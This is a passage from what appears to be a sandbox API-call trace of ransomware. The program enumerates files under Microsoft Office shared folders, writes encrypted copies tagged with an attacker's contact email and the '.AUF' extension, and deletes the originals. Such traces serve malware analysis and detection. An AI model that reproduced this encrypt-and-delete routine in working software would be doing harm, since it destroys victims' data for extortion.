"c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".doc") returned 4 [0211.882] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.882] lstrlenW (lpString=".docx") returned 5 [0211.882] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.882] lstrlenW (lpString=".pdf") returned 4 [0211.882] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString=".xls") returned 4 [0211.882] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString=".xlsx") returned 5 [0211.882] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.882] lstrlenW (lpString=".ppt") returned 4 [0211.882] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".zip") returned 4 [0211.882] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString=".rar") returned 4 [0211.882] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString=".bz2") returned 4 [0211.882] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.882] lstrlenW (lpString=".7z") returned 3 [0211.882] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".dbf") returned 4 [0211.882] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".1cd") returned 4 [0211.882] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".jpg") returned 4 [0211.882] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.882] lstrlenW (lpString=".doc") returned 4 [0211.883] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0211.883] lstrlenW (lpString=".docx") returned 5 [0211.883] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0211.883] lstrlenW (lpString=".pdf") returned 4 [0211.883] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0211.883] lstrlenW (lpString=".xls") returned 4 [0211.883] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0211.883] lstrlenW (lpString=".xlsx") returned 5 [0211.883] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0211.883] lstrlenW (lpString=".ppt") returned 4 [0211.883] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.883] lstrlenW (lpString=".zip") returned 4 [0211.883] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0211.883] lstrlenW (lpString=".rar") returned 4 [0211.883] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0211.883] lstrlenW (lpString=".bz2") returned 4 [0211.883] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0211.883] lstrlenW (lpString=".7z") returned 3 [0211.883] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.883] lstrlenW (lpString=".dbf") returned 4 [0211.883] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.883] lstrlenW (lpString=".1cd") returned 4 [0211.883] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0211.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0211.883] lstrlenW (lpString=".jpg") returned 4 [0211.883] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0211.883] lstrcmpiW (lpString1=".jpg", lpString2=".AUF") returned 1 [0211.883] lstrlenW (lpString="HandPrints.jpg") returned 14 [0211.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.884] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4222) returned 1 [0211.884] CloseHandle (hObject=0x1e0) returned 1 [0211.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0211.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0211.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0211.884] lstrlenW (lpString=".doc") returned 4 [0211.884] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0211.884] lstrlenW (lpString=".docx") returned 5 [0211.884] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0211.884] lstrlenW (lpString=".pdf") returned 4 [0211.884] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0211.884] lstrlenW (lpString=".xls") returned 4 [0211.884] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0211.884] lstrlenW (lpString=".xlsx") returned 5 [0211.884] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0211.884] lstrlenW (lpString=".ppt") returned 4 [0211.884] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0211.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0211.884] lstrlenW (lpString=".zip") returned 4 [0211.884] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0211.884] lstrlenW (lpString=".rar") returned 4 [0211.884] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0211.884] lstrlenW (lpString=".bz2") returned 4 [0211.884] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0211.884] lstrlenW (lpString=".7z") returned 3 [0211.884] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0211.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0211.884] lstrlenW (lpString=".dbf") returned 4 [0211.885] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0211.894] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.894] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.896] GetLastError () returned 0x0 [0211.896] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x621, lpOverlapped=0x0) returned 1 [0211.906] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x630, lpOverlapped=0x0) returned 1 [0211.907] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.907] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0211.907] SetEndOfFile (hFile=0x208) returned 1 [0211.907] CloseHandle (hObject=0x208) returned 1 [0211.907] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.907] SetEndOfFile (hFile=0x1e0) returned 1 [0211.908] CloseHandle (hObject=0x1e0) returned 1 [0211.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0211.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.908] lstrlenW (lpString=".doc") returned 4 [0211.908] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0211.908] lstrlenW (lpString=".docx") returned 5 [0211.908] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0211.908] lstrlenW (lpString=".pdf") returned 4 [0211.908] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0211.908] lstrlenW (lpString=".xls") returned 4 [0211.908] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0211.908] lstrlenW (lpString=".xlsx") returned 5 [0211.908] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0211.908] lstrlenW (lpString=".ppt") returned 4 [0211.908] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0211.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.908] lstrlenW (lpString=".zip") returned 4 [0211.908] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0211.908] lstrlenW (lpString=".rar") returned 4 [0211.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString=".bz2") returned 4 [0211.909] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString=".7z") returned 3 [0211.909] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".dbf") returned 4 [0211.909] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".1cd") returned 4 [0211.909] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".jpg") returned 4 [0211.909] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".doc") returned 4 [0211.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString=".docx") returned 5 [0211.909] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0211.909] lstrlenW (lpString=".pdf") returned 4 [0211.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString=".xls") returned 4 [0211.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString=".xlsx") returned 5 [0211.909] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0211.909] lstrlenW (lpString=".ppt") returned 4 [0211.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".zip") returned 4 [0211.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString=".rar") returned 4 [0211.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0211.909] lstrlenW (lpString=".bz2") returned 4 [0211.909] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString=".7z") returned 3 [0211.909] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".dbf") returned 4 [0211.909] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".1cd") returned 4 [0211.909] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0211.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0211.909] lstrlenW (lpString=".jpg") returned 4 [0211.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0211.910] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0211.910] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0211.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.910] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=25234) returned 1 [0211.910] CloseHandle (hObject=0x1e0) returned 1 [0211.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0211.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.911] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.911] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0211.911] GetLastError () returned 0x0 [0211.911] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6292, lpOverlapped=0x0) returned 1 [0211.919] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0211.920] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.920] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0211.920] SetEndOfFile (hFile=0x208) returned 1 [0211.920] CloseHandle (hObject=0x208) returned 1 [0211.920] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.920] SetEndOfFile (hFile=0x1e0) returned 1 [0211.921] CloseHandle (hObject=0x1e0) returned 1 [0211.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.921] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.921] lstrlenW (lpString=".doc") returned 4 [0211.921] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0211.921] lstrlenW (lpString=".docx") returned 5 [0211.921] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0211.921] lstrlenW (lpString=".pdf") returned 4 [0211.921] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0211.921] lstrlenW (lpString=".xls") returned 4 [0211.921] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0211.921] lstrlenW (lpString=".xlsx") returned 5 [0211.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0211.921] lstrlenW (lpString=".ppt") returned 4 [0211.921] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.921] lstrlenW (lpString=".zip") returned 4 [0211.921] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0211.921] lstrlenW (lpString=".rar") returned 4 [0211.921] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0211.921] lstrlenW (lpString=".bz2") returned 4 [0211.921] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0211.921] lstrlenW (lpString=".7z") returned 3 [0211.921] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0211.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.921] lstrlenW (lpString=".dbf") returned 4 [0211.922] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".1cd") returned 4 [0211.922] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".jpg") returned 4 [0211.922] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".doc") returned 4 [0211.922] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString=".docx") returned 5 [0211.922] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0211.922] lstrlenW (lpString=".pdf") returned 4 [0211.922] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString=".xls") returned 4 [0211.922] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0211.922] lstrlenW (lpString=".xlsx") returned 5 [0211.922] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0211.922] lstrlenW (lpString=".ppt") returned 4 [0211.922] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".zip") returned 4 [0211.922] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0211.922] lstrlenW (lpString=".rar") returned 4 [0211.922] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0211.922] lstrlenW (lpString=".bz2") returned 4 [0211.922] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString=".7z") returned 3 [0211.922] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".dbf") returned 4 [0211.922] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".1cd") returned 4 [0211.922] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0211.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0211.922] lstrlenW (lpString=".jpg") returned 4 [0211.922] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0211.922] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0211.922] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0211.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.056] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2848) returned 1 [0212.057] CloseHandle (hObject=0x1f8) returned 1 [0212.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0212.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.057] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.057] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), 